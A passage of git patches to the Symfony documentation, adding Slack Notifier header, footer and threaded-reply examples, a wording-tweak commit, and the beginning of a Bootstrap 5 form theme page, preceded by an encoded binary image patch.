zzioA~ywZVaN_4cufV~j#x6;|eIva&Dad9zMR1AxcADn+4z{bW7Ykapn|3kS~SodIs
z4DKMz!rwhJqp6%$_RGqlvK9!8Nb==9IjhD_y!J}rg_$?MRXw7mqPh)$vyEa$$HeP8
z;}l+lkr5!P*Om#lp#_{`=W}=IMNLnKkLyHGPoDH7b5q`u(==4l(n|SVkp2AT9e0M)
z^^ua>_wnf;JV@nsFn(<&34q!7frh>1t(^1M+P}YFyy)gE2Hr?Pq8j5S(AAaTWO3C-
zJ~2K~^X}I<E$RDez1h;uhm5gAKz@a}qLjbnyVbaAEZ<YwsP7?WcOFVgj#~fuPt14*
z6PW2ta##0ZCMfy1yk?T2m;Q(q7eMZ|a2nP9`*(&4ZhXrM;th{|h#v@RIypVh6kiKy
zUdH!nz6ns=3fmBQz2r9A`9ebj4uef&+ITacSq595xUA5ufV<O`(aEW*XHVI{8U$#*
zE7k=e&T+d9gvx)?I=O}oUxx<Q7h(-Y46Y@k+~IU{{k^Rr*_O73h6#wuag)^4R0*#$
z?fdHCWDHhzPHOpfyGL=K|2`Y|y_51m!@$61KX0$qpQE^^w9?HD$SNoh_gyN&C%UtD
zrtybjR!kug3<8ty;hZ~~?u&72*X4trAFeaFEo>&~;So0vH&Pk_=Iso7i1KQ+L&yeF
z$VafzadvbVLjA{nzhL1gJ~{bnE;Af>>i+YMYeg~G8;Gi-Q#C!8KGXm|FgWK15C`dg
z)rvUf6chW>wRo2xyC{p6ik_bSK1WB^eHv<fSsR0+QRhhx^;F!xjQ~JP2M@irdwAKF
zV9d!Wt{N}&pm%hX1`rUaej=70+%6A%-LWMCNZG4P^4S1L%iAyMsV@}OMg1gze$oE1
z!ND9aoiYOhgY(l(4Rw{gp|xr|%<FB|$?=H-yH`RpPA^o{g*L37unx6q#X3}v&kPl0
zkUUFENMkjb8TlQdS%^s$Tg2L^g_FA1)>miDZ;kA;B>tN8HoUC#x-94|#J}<EQLNJL
z+vXl<MfB0(*ZS%fH?AC*%su(7`5`P4!s&V|&unA;_h3?^htr_!={9M;u-Dd1ZdTSy
z8;5!R&S~qYrd3|v*!%QMJ8bvX?VVg_8&y?}jiJ~rF$ZJgv$Mz)_86x6w*$dCx$mp*
zCF$!YUi+M`s(%}wmZ-PGF4@}Ju5WCRgtZrHW#Y-oS>geQTSHCH!^tJQw{sroK=ovN
zPhaA<$w8HsnJLVg-;x024B}PCu_NGYpsu05w6r{|Zy@%t@9f|{7Z(>kpT*uArj~zq
zV}0+mVNXSH_xjLyc(Dt2(>K~$dON_etF9MT#_e~s>2v)(<V41Gk@ZDlY3ZhhX&v6T
zI)<j1;xqq`Z^gZyK3tTZ*!kH_`KkWS>(VB$m(vj+nyK%qCOz}49vc`f*hY)`sBlSX
zsXP_kh)+hwR3to7Re16>QO3xjHT*^Ox&5H-I&WT-W;L|}1p&)a+dQ<h?#+?Mb(k$?
z?yaP`g2F2uolm7vQKjh*RpXbJsR#J^{jMeBkjduYrt^KR|9f1oEk|LVq#thT=g(&>
z{CjIdSPW8%uj298z`%fQHQH>u<@`<zgM_&SwBnoY=5S@M8%J(?&cYAn7$xPd8?v^x
z1)n~BLZM#3U<gC6y5{EQ=vuhKt5+Ht(Uoq63-R$8O(&9w<A=ch?ORBhfb!hj+=>ci
zR{Pi-M%SsDBys%c$jE<p8~L{t7yD2>q^$Cu&3q?4J2myEbD|N|hyy`>a8MV4kiy5m
z>|<wVVablR`&lJWHEc7a)wQ@cBjmwq3Wa(X)TcOL`yQmGjv5+LQ>Wi#bX{9e6c`*t
z_?|ov>hFMO-Ik+pSfi^h(Bk9b<9q!0wWOi4vZ;>Typ4MmW#q^bOSEv4iE)dMUP3aG
zcLEOODuGs5EZ@He$jVz$3WpH^eiBXT=~E)_oJq62Mo=eH7D!P?FQ#JV={2ZsxgOU!
zRdY8=ZI*Yb#icyB*v{9Zsg>%Ki-lN~;G>Vp)wzy^g@sAPr||x<?F0-(7+L#G&5e@V
z4^W})ciL`-P{>=LwKTQxpu6l%XsFE$$jU-p1p+M&iZdRC_NN@Ld2^gztSihxYf<G{
zF%}sF^6&BqSRi{7b2H^x;^^%Cvj8NeYlQaWIcVD)l+E8amYC(RqqYOaYKbp87R#)n
zTTCw}bV=nQ&(fB?$>cJlO5uOXCLc<H!_^MBa_^O_dmwz+SlSEPbso<N-y`xkxColH
zZEODscFb^6s&ZJnyGN!2`%}%KVenNnaWDaMs5~-DBog{YPCISHmH|{E(5&dplY9Cc
z!%z;2yc_+?L0PwbDuQBVCO%N$Zr1h;?aTWcIPJ8vhQ__Z9UkW4ajGR)ed6{@EoEVu
z49enn(7kSz;9D9aLFeCaA!!rP(N1_&#77{<AYBtm5$~B9ha|{gcYX21DDD=G5Z&|O
zQBOSrPK{ry1FsHOxh1mW_}(V4yiMq?_%ILUz-#pce`91-z#(ThP&>8ydzwT%lG(&>
z5eWvO?{lJH0hgGFey96^CSIFKGbo?>Q;zo5RO5t<t!=v$a|*Fc)9({=5>ZsJfdXDc
zNtQ@c632d;NO^AZ$i?|S^*VNWcD}#Yzjr-p7}G>XKR>!uktN#wXX-V!jt7WKN|Lgh
zxiJ7!CTHj$86ga0Qw#7tyH;F~&JamMY_75ZA3j7)wOV_d3P)1lUQ6%$Xa(n$hzm;a
zUM8+y)bn#DdlpiA)&?;(Ev)pjJlEGxrTzBv<KpCc3jbaCA{(X@VNXNR_s7pt6Rk|)
zTK&tk6O53a<J=glr+G?E(Y}TKouek6J}RLUj!>pgNP+~Od{G0>@AD#ZaaHOeVnPlr
zcc9e#uXdSz&aSzM1p0=mHM+tm<ar#9;99Aq&+Xo&rGIUUWzMI=Rj&_<)~^isGRAU%
zf`XM*(CYN7ARe|zeyES#FqtOW4=<3Jcs4iu?`tmugQNBiwTOraJlV9~nZ;@~b8}v9
z?sSuK80mx52MHYN;Eew%Aq9iMw9&k~#2slnrc_nMr%gUqCL$u!h;E#i04L%zT!#Gx
z+#76tW@ZTFauz8`mj{@p5+*e@H9y}*iKDgLf&xPw9k-L2%Y?!{?XK<F`mQ4DaJ2x7
zzF)r%Q$-XbG*6KHO=vbz3i(WBCoD4Wot^GXGeZ|kuJRKj!<MsM1QO@#GQ7y~U$D!b
zph_LXut5SC7>w*`W$LoYXUE+VCL}z=!^i1`_4Of&={Anyp6+!P7Zx^Q?8XA|E)x@z
z^7HaY$;j^iN!t*H-vS<UaxzGMo&ABRK_Yn*zQ3$AVpSqFtzP$Dm!+~^<S`X7HZgko
zMcrA%FRCfczM7QXV=_5<u`9-=dR$jmcYS?*J9k>7)RfhiZVc@@%N9ukO3)`yo-Fv%
z6C>QpUSPUZkMeTJ<XorQzgV%TIOz7BDvpK+1bx&T>_bWs0bs<R-)y=Om>neN4T{A#
zM<&{c>9$Hr|3zD=l-s~%`V8;qsS@lRATBu>8J{}wYVrO1n=Id<ir2X=4WcGO0mz)3
zN3mU|O)ftgND_)|_>^NA^UMDQ`R@H|?zXINV`HvIskLBq@B*Ww$%HwPVm~6gUjpC4
z)PmGfF5mGyGpZS{L|R8hN8`;MeyO(RP@k!tBm%g(xqVO8M~sve6~92bn=dXv+^xNG
zyAi4_;b7p4v%vP})lMQF3*0>CGps3C=~+rVJuL+0RzxBo-C%RX!9`_dE$+)G``X_q
zl%MwwK9JTcBDeu^c58ckVt~ccN>fr;Nca!WAH2Ew+#+S2SP-1M_3VH^&BDpQM)=>7
z%O-9AT<o>yf8!Y7zt3x)6C<$ws`QtYv5^rVYiXHXQ862t(w%aBh0#8jkieJq@#!cY
zvID6Sy(nu{Rn`18SG(v$tsmx(u}5-+5!=k^U3upsgE1*r>GIU0Aq&Am%u_)@9ew-7
zCZ$AWok|JBv9zZB){g@`Y@eyAw*gd-eo?y7d&eB0xc9CFg`56SL1@ABG>Zv%CUJzg
zY$OF7ot#)%cZ9}XgPsT2Sw%HN?rRM_y^x8~0snI?mCTtI+~GExiH73xR!*-iOnqx}
z%M<P?G(1vFc{3!tq_?1MNYQY^Ss@-W5>{2EtFjxQYoMrD?3RYX&NfpIO#QkmpK0v0
z^B_!Fk|g%+VEOa2#~`k2sry>GjN1HO`Y80EthH5ocZX{Ss-~){s-Yn)BI4z_X$~_W
z1V9&~tgOtr+}K4*R9IM}CbVnus;L)o?&ttUZWXs8pZydhrQNT}FD^yTulr~?3AVOk
zl{^$poPJ^t&fZC@#)Bh@lk?h#S%#gr9G(3rw3VC0{L|?a`e0+UwWWfR#w#}`XRZ1w
zYc7s0GI~Vc0NnBBd{v76O06ud+zOKqX5K%zZCGY}-e<0b;n(-PnJ#gklCnI%xYBvU
z))8tvK6$huJR+R>T1-@QtiPXvcpgWVR^(JmoL!Ml(Dvm3BF@euOa?TVnJ+4Ko=l@X
z>QT5Y%yNEy0chw%PFvg9EH82l054r#MW-iw+NYYec92fjMlJ3g?(vYLqeDRU@jaxJ
zcV$h@aQnin^1WNPBO@Z!fUHR46ej=G?2-~epMA(cvg=F~0YK;zHXCr=+u1qMH|jMI
zeCCJnLS0`UGO--iewssb0I$dEtmnSrX=O?U9O2*|@OAXmE`9yfv=ZL8Bkes7WFjak
zzR=QxyfWI&+v(kUQF+~He?K#uaBYB$T`==SEYq^EP!Xz#m>{@QIp#(m(xTa3I$FuJ
z)=CU`gO(g<ftJHOJU4AEEkR70$xcI9dmkUyu`EcNg@F(dpMg9hB<#ApkTKGT$is)X
ztsYNnZC2(ry!zhGmcSlUzhhhY)5^fmu%n|Rv*`_ss3;#7S6W%|@^F29ROxFM$MtfU
zw5BG4sF5^_ob>h`Xk3bi2R$1HUrKuV!p4TEOKD+lE`Du&cD7{)O4xczSwc+A!NKtj
zdMc%xGbq3!Cc0w-NsP!Rc5WfJ@Fm?+)70D^Cb4j!`?A53eSXYzI`~757{LlTZM5Se
zqZ3duQMxHTfB7hs!gp2_iG--e&`Og6NCoA>!pML&VwTXEy{$|%YpAy0X(#rd!Ke8@
zdz}Rw^28tUhp1RWe+I3A1ZLse|Ir%#zrI}c1twpO1}4drRbFs>#S4RF^aNO>OL=r+
znW*Jg&mpR7BmiiS>9K41woN%r=(C6Hopps!;9OLVd~I!PBqUC@{(jf4=`W2eZpnZd
z8Xl+6QOU11DO?ZYpFX4eLWlN254E&FOHHPYR=0$CAP{{hln5XW-aU|_r1R;*TtjN1
z78W}ggx^Y^#pkrNvA4g@s_n=x;P!vNvSdVwD@plR1zZP-dDx11?erDTo#HYYysz;L
zoU?iY-K?b&lad4ls$<R=wO;t*0q<|#JXq-y5fJb_T0g4Insbu-4m@>O2o1s~Qc)A6
zqNKdTAZ=)7R*FI`2s@)fLZsS)nC|*ao}7|MXWjw&`ZO22d_m{P6F12hFtA|5SzN4f
z97ch2RQ)?e1zcQcnwX?c{x#7H5EmEs-2BTjH|4Xgm90(tfM$DreeknJIX*1jf<01+
z1E3(_cPZ@xlWeHj?!oHD&P45HN6(TQ6+0neIJaq|k*X>QaPy8=hNRCz`LrL0#@?+~
z#wxE~M+0gDzzFT`qogz{R6%E2zjKe60GQhx_Ws-deM9thD!-G9zP?Zh3n36m(^oi@
zZ&-d|y>o^C<2^aUvo`?X`BccP`OSBWaPlU!pUZR|6;QV`m642`F|z<Ck>sU(J2^{B
z(Ao9m;|pfC7fKx)E)Ghmc=Ig1^Oohj=+g4C-!m^FARclqCIP#1JD@G2L{5${ER33(
z`VOP?E6%EN*zFZ}pRwSO&*}wk9IODXOy2=0M?-)91f~9m55Ja{mdsoHnTh3L8d8E>
zB~_>=Qc_Z<zQlmNqod*2@X{-+zWX!F`FVX^*S`%uJ)_QGgzqp(N5p)r+@7EYqM{|h
zTY+O%R7hy5)uRxFYHVmwV5SfnAH$wW-<4nZ^i|ON_gbJwt1|iV4pzNzC@Ik>C@4ko
zBsnQbSy9Rh&hQqD2Iw$DGMWRf{co3n@~g$?;Qa*H>vz%?=5li8=9(}KL}_@}st#*0
zOx<BE?>=9s{QNQ(l;%(7WD~SP;$&M<K|w@FNMWW`&~tUpTKUdwleY{+Qj$X=+!0k7
zIc8G<hkF8GS;62rthaqi64aOBOulgt9uA2nbnC?S?dQa`QXkbZFUYYA`E6a%2N048
z^uc}l>I$7VDyyAGP9VnLY$W~A05=u-W%5y}A9#tmx^%1D+u0P~#s*;fV0L!cHFG^8
zbR#$HSk29CFY1fT@%q`1z^hC0&B<z)9|c{pnfCVfr1T;`2dB(HpwrP|5o03+s;a6(
z%EPZ(FQD1lM*3#WUeoVU>yC<qVJkR!Vni)u=T8RZ+p}9C-<k7&WzEf<oOE_{+`mT?
z<K|rrdKZi|>`LcJ1_ohaVW8O5*v@y^EH%4SzOSceU_cENRaCT5-$lRcK&^f@>e?pX
z-*-Ph!4W?=HLcs)O_e^dRUm+8rJ~l0KK;1QckZyTRNUi_TOL0Mz4LDbiK{MwBdFo%
zXk*kh^cu+=d5etXU_TYNU?Tu$<hgmBU`NB3YN4-x@BXzuOv8EU*WDCeLfcoi8W{qd
z+!wYwmf5xNu|a6X@87@A57*dOdHhahq}bS!kw|bnBo@4X9~}JdZ!|raI$$E&!v3I8
zPw)cujK3tLVZAq1oSmJYKYy<3*8Rl;%Ow47_>~2pIeX;gC3EORT3!JMke8od|5fzD
zFtq-preE8Q9ho@ky-h)&o+@OyozB$r`}d<qE`@mo1NJqdwY6y?r3pz%s#<CmO)eqY
zk3mwHD*VH5JAFL;MPFIk-E2!yFrP-UvN9&?TX?y8e*GeDbIVosCIa4UZfk?aurMN7
z`*C8@CpvM@UA~^=2EQ2BD!xkP7z!Nee}|Ly(NWv8iZ=ChfoM~U>-?_$3Jv-(MMWvJ
z`_Y4=!jF}Eb<SyBZ=;+*AG!+vIWdA;wPpKEj`jVW$OeWp14Rx1(x&d_M)&g7tDmm~
z$jC^WTMEO%-dlS<f_#LW{%Ik6U6&kP`%l}n9m>wY#pg=nD9VklA|oPRxVd%re)!<c
zST9ek8sU2U2b91QBcgsQF%<G!xBlP2=egC)@bJLs)!=hkVuUhil$ew=^RJzK*9r!8
z3>6ZDyZ=>5@BbRN{!;<`|GE6R)#xxmV2iXwbaeFPr4~`T#7Q5ovU0cqm%pq1T&$<Z
z^&#&+s$@8(UzlG2yVXodML&t7`TM$zVX{tIOJ%AGK3Nz=P+Nu{u)X&3Z}uK0I<0Od
zV0SJ<e0p=MKpmM^QDLEL;(oS2GPl8!=^drguA=L!D=Dc&6#m}O{aG{{Xk$99>pzIT
z`OP(fmr*JLRf-z4bsGN*7T!!NjB43=d0WxHL9C${EuCydV0)JC0sRA`pnj>Vs<BV_
zlqDjUJK$LZ_dehJFV;<P!(ZNNPy$}s<OQqtwV7My3Sf}78Y~|A^JU0EXadARK7Mlu
z9fVKH=G80qs3Xa@rz+N}*Z!I~oUilW4sdQNdYt~uaw_j5mGANDfV?kQxNxi<C%qYh
z6BK9n+QN~Yoi*StprK_Q?8FV!ce}Bo=Q|rU4hcK60dpH0M1bl?Rb5Y9Vs}D&`wz6)
z43_?J{A0>w<dK<+uWx4@OUMmA3r<c>JU~1{+O0h_Vt@ZP%8`eM2bBuC&3Au<!&hG#
z85__s`fnV50caxOt8<wI6dqWfw@0|z_XV9n2tTkO%VSiNmz|xB-o6zXffuMW2*?^J
z!Uuou9ZzpAEiVlY4qi#VdCVnoUYM`ud$dggnAX3hl-j+zB%&8}-5ROJ?(_tRdHunl
zGZV6d{4I4pfm-Q@vJQ|{UM}r7O3KA`o6v`FodPWSxU?@FpAN>gwz|m4S>7J#wyG3Q
z`<yP#&~HTPc3xM1BII%Vpy99W^}NEY7)g_p0*9(h8x<&fLE2gP;yo!{UU9M8%9PK{
z^>gh{9jStLG$~z8zC1-=zrI}vbpsg!D1^xwq)}PSGS;1*z~}SD*X#-C9y_gsf#QOK
z@{*FFAC>1zB#VSMzW07m0cb@$zvkvXKTP->*Z-82HCMRAuz&4vBRiWf-W>QgUX88a
z`djPV#cR<<m7{T&fZzH(RL9a1OaVs}s_mjVs>2HJn`_(EYddQM?r@w{8G$x4cXr-d
z3#{Hc>qU%_l9CDu4PR<KlnB^9tSd|7=J_*QoRwRG4~U_CqS-1eQbvY{S2yaG#mI1-
zD*spzk^`a?&%QJO07UZt)&eMZ9qwS?@$c>|<Se)$ksTduEG(Ag_(ZzYPsAQ#DyfQ{
z#l+B&So}tbXQA)Ilob@jkG7`kwJN}WY@2-gMqh@ShK5sBBz4>M3+JVkl`_*dPELLj
zKr>wu4q`~BI9OSJKuZf@Yx%|ZxTbFV!F{IdO`jV8EiLU^t+Xc-6C)*Z0Sw}#fI4UA
zhr2)2CA?!|V|T13&bFuhpylTHfSTHE55a1uv0X}2zccJWZdKLT_&8df{fEuBz-anW
z9<v%DE{UefU{bvY0O(vO#G)#&zkmPo->!Vr&Ef-+U;itPt<Bek>gjRmsi@M@n)4RU
zyzHRwAkOvv=`~190s`~%RFZZkz2|nn%XBp~EiYp;#SXTk&y~8gPSw-|yJ8tkG0P$|
zZwiOjLWt1En`a@&^70(87V_07qKwX2!<npBN9Q{pps08T7R5$3pq=cUU{4^bf&%NG
zlQNDfEp9lrq;ICDZ$5N92LV+xL%gx!P{w_@zEU2BkOEZH)I1cnl?1*-O*BqmB=sS3
zkj+0C@kk_SDTOdfJ)E9aT3%V1Zl>mJ9IL7BX3T`KXGG)oA<q#VjsSCDmRB(f_4KoP
zkSwSG3Q(vCvvUkm`rt%{fq`MDyC}D?Yf?GO-{Pt#oyjggztDB2YOAx?G^aPhavG<x
z?&x^s-xb3o(LS%gJ>6unS<v4FCb*%2&Rw2v42B4hf@O44Qd8T2NsvA@g^_v&5rYUw
z;ms{|>)i+n?65k^l;oixR`3=(@c^wpuzVUB)tr%(Fl3}zICP)KOk3~3c5GWpo!#SV
zipg|)VJ@51jMufaurQ{sE+@z8j&fI*R!%JAk%o$TX?gKkJyM$(kbP$sf4n_X-Q4`{
zINc|K-H*qp;n|&?fdF20_Mx9YA%a|{HD5u82-Kn$GKHO#*j7zpVd0M?A2Yo@RpM0~
zeOK<^dnoC-1llYonLfOJFmeD~F;G)kYu;kzV|`|X;Ro#||EsI|M~|2krRwVIHzw=7
zdthcbiMa1^siHewAO&e`6vvm6qBq@`{}E2kB%W7kvQ`59=g;k~&6tC!U-qyKjYfk;
z*W|BH<>mPA$>^-CtOkGM4|L@Wtx425e-W_BL8E;{{hHuTW5Z)(I?!|tiL}!*Mqxow
z{6MO!Lfr8hsMZyzs1m^9rxsFj{_sm6m_2HDm=G<H{YH*_G*m7)xFRjhn~vYAL2p)i
ztekLcbQD!wytcL$b9AVpqC!kUf*;7L9Aj+q8I#J-DlT59<oW2#!VUx59GD&es}x$9
zGvHE&-p|`Dw#yNrp$eH&=P5ieg%J`Gvg+E}%IeyIfzj50YdkpNRtO{LiNX2dZfjcc
z5QBvc?}hd-HKr5lEJKi|Hqg?p^4tEg7Zv5LzZ%HxGOcsTb)n$@tWHSi!ybYMR93oy
zk~>w>AwK+k6<T4=Ah8{OvZvkij}9@FhfV0)Q6*$Z)Lp@M-|QYyJczcn&uVk6&{BWB
zxh}lXde~1PU&i*`L#tbHP&FRncXW}R9fZM(8kv~%+t+~Qy0*gx3V9|xEYd=$&A%^K
ziF9aS;4X2f7#a;q2d0YyObX*Y`Bm2cEHZ)|AtgYrZ2UhiGy30<43)tqr7|-;Jsq6^
zyRqYi_`&72ii@ITyp+L<f-j#xm%^$AAl!duuRRl}-)LwY>Ofq#*XH?6K6Oy?+%?vt
z0%TztNximdULuxH^Q2MB%CR{vQ_V>kNzT^R)&A2D=;=3To;W!;FiQCTsyUdPRcg-{
zYIC1vcv$B$!_2`kW=80!(c4g{l~Q3w{qUiH$I9XSkN5t4cOQLZRrS#NO*A&Fj`?L)
z=|~o?cUD=#vY?wfiwfes#A4FU$FhI?2q$wWCoeDlD4iUdZ|5{R{OW0*NV!GYe{6n5
z#SRa=!t$Gh4n+=s$H(=dV`g_qq~JL9o|ZYVozFQr3-Aq5rLLbbv?8V5w;BrADMLat
z(Dk+&y(iJMBI>HfoKJV%5wPi>B#RFl$3>0Fz@QjP`5`G7h6W8@o9R(~lxtr>_D2W{
z&!!+hp*_bjp#8?i<2(|vYzQl3l=<l2_JBA4Y`R@o_!BKiT(YU199whC>kJ>?yCF*$
zjt@lKx}{<G1B{62f4{k&iMgKM>xRS?@7rU;3RZEy4nt|ihA$NUogx0OGsB0kEj4<z
zT<O5hbb^&dj(?kS?m*rushF79%>)v#DVz|c&ve3|e?{=W2c?CR9Z|I^7ds;mE&SUq
zcRzia^xo_g79J@4mLw+4WcGq8+w~&>Mv9G`H~(XQJpmS(N&W9g^gl)oOYzCnUHR3X
g|II44m}@-M0uflQ&UFO1+zwDx)Kn;!e;NGW0O1n1CjbBd

literal 0
HcmV?d00001

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f01a8bd7ce6..f77e0ebfd5e 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -135,6 +135,120 @@ The result will be something like:
 
     The `field()` method was introduced in Symfony 5.1.
 
+Adding a header to a Slack Message
+-------------------------------------------
+
+To add a header to your message you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `SlackHeaderBlock` class was introduced in Symfony 5.3.
+
+Adding a footer to a Slack Message
+-------------------------------------------
+
+To add a footer to your message you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `SlackContextBlock` class was introduced in Symfony 5.3.
+
+Sending a Slack Message as a reply
+-------------------------------------------
+
+To send your slack message as a reply in a thread you can use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The `threadTs()` method was introduced in Symfony 5.3.
+
 Adding Interactions to a Discord Message
 ----------------------------------------
 

From 884629de42c89da7219296dd2651b76736462c76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 14:30:18 +0200
Subject: [PATCH 2212/7107] Tweaks

---
 notifier/chatters.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index f77e0ebfd5e..237581556ec 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -135,10 +135,10 @@ The result will be something like:
 
     The `field()` method was introduced in Symfony 5.1.
 
-Adding a header to a Slack Message
--------------------------------------------
+Adding a Header to a Slack Message
+----------------------------------
 
-To add a header to your message you can use the
+To add a header to your message use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
@@ -173,12 +173,12 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `SlackHeaderBlock` class was introduced in Symfony 5.3.
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
 
-Adding a footer to a Slack Message
--------------------------------------------
+Adding a Footer to a Slack Message
+----------------------------------
 
-To add a footer to your message you can use the
+To add a footer to your message use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
@@ -216,12 +216,12 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `SlackContextBlock` class was introduced in Symfony 5.3.
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
 
-Sending a Slack Message as a reply
--------------------------------------------
+Sending a Slack Message as a Reply
+----------------------------------
 
-To send your slack message as a reply in a thread you can use the
+To send your slack message as a reply in a thread use the
 :method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
@@ -247,7 +247,7 @@ The result will be something like:
 
 .. versionadded:: 5.3
 
-    The `threadTs()` method was introduced in Symfony 5.3.
+    The ``threadTs()`` method was introduced in Symfony 5.3.
 
 Adding Interactions to a Discord Message
 ----------------------------------------

From bcaf46a21cbfa5ab4d4244c31e61326bb8c647d7 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 17 Mar 2021 00:28:08 +0100
Subject: [PATCH 2213/7107] [Form] Bootstrap 5 documentation

---
 form/bootstrap5.rst | 265 ++++++++++++++++++++++++++++++++++++++++++++
 forms.rst           |   1 +
 2 files changed, 266 insertions(+)
 create mode 100644 form/bootstrap5.rst

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
new file mode 100644
index 00000000000..2a219c990a8
--- /dev/null
+++ b/form/bootstrap5.rst
@@ -0,0 +1,265 @@
+Bootstrap 5 Form Theme
+======================
+
+.. versionadded:: 5.3
+
+    The Bootstrap 5 Form Theme was introduce in Symfony 5.3.
+
+Symfony provides several ways of integrating Bootstrap into your application. The
+most straightforward way is to add the required ``<link>`` and ``<script>``
+elements in your templates (usually you only include them in the main layout
+template which other templates extend from):
+
+.. code-block:: html+twig
+
+    {# templates/base.html.twig #}
+
+    {# beware that the blocks in your template may be named different #}
+    {% block stylesheets %}
+        <!-- Copy CSS from https://getbootstrap.com/docs/5.0/getting-started/introduction/#css -->
+    {% endblock %}
+    {% block javascripts %}
+        <!-- Copy JavaScript from https://getbootstrap.com/docs/5.0/getting-started/introduction/#js -->
+    {% endblock %}
+
+If your application uses modern front-end practices, it's better to use
+:doc:`Webpack Encore </frontend>` and follow :doc:`this tutorial </frontend/encore/bootstrap>`
+to import Bootstrap's sources into your SCSS and JavaScript files.
+
+The next step is to configure the Symfony application to use Bootstrap 5 styles
+when rendering forms. If you want to apply them to all forms, define this
+configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            form_themes: ['bootstrap_5_layout.html.twig']
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme>
+                <!-- ... -->
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function(FrameworkConfig $twig) {
+            $twig->formThemes(['bootstrap_5_layout.html.twig']);
+
+            // ...
+        };
+
+If you prefer to apply the Bootstrap styles on a form to form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'bootstrap_5_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+.. _reference-forms-bootstrap-error-messages:
+
+.. note::
+
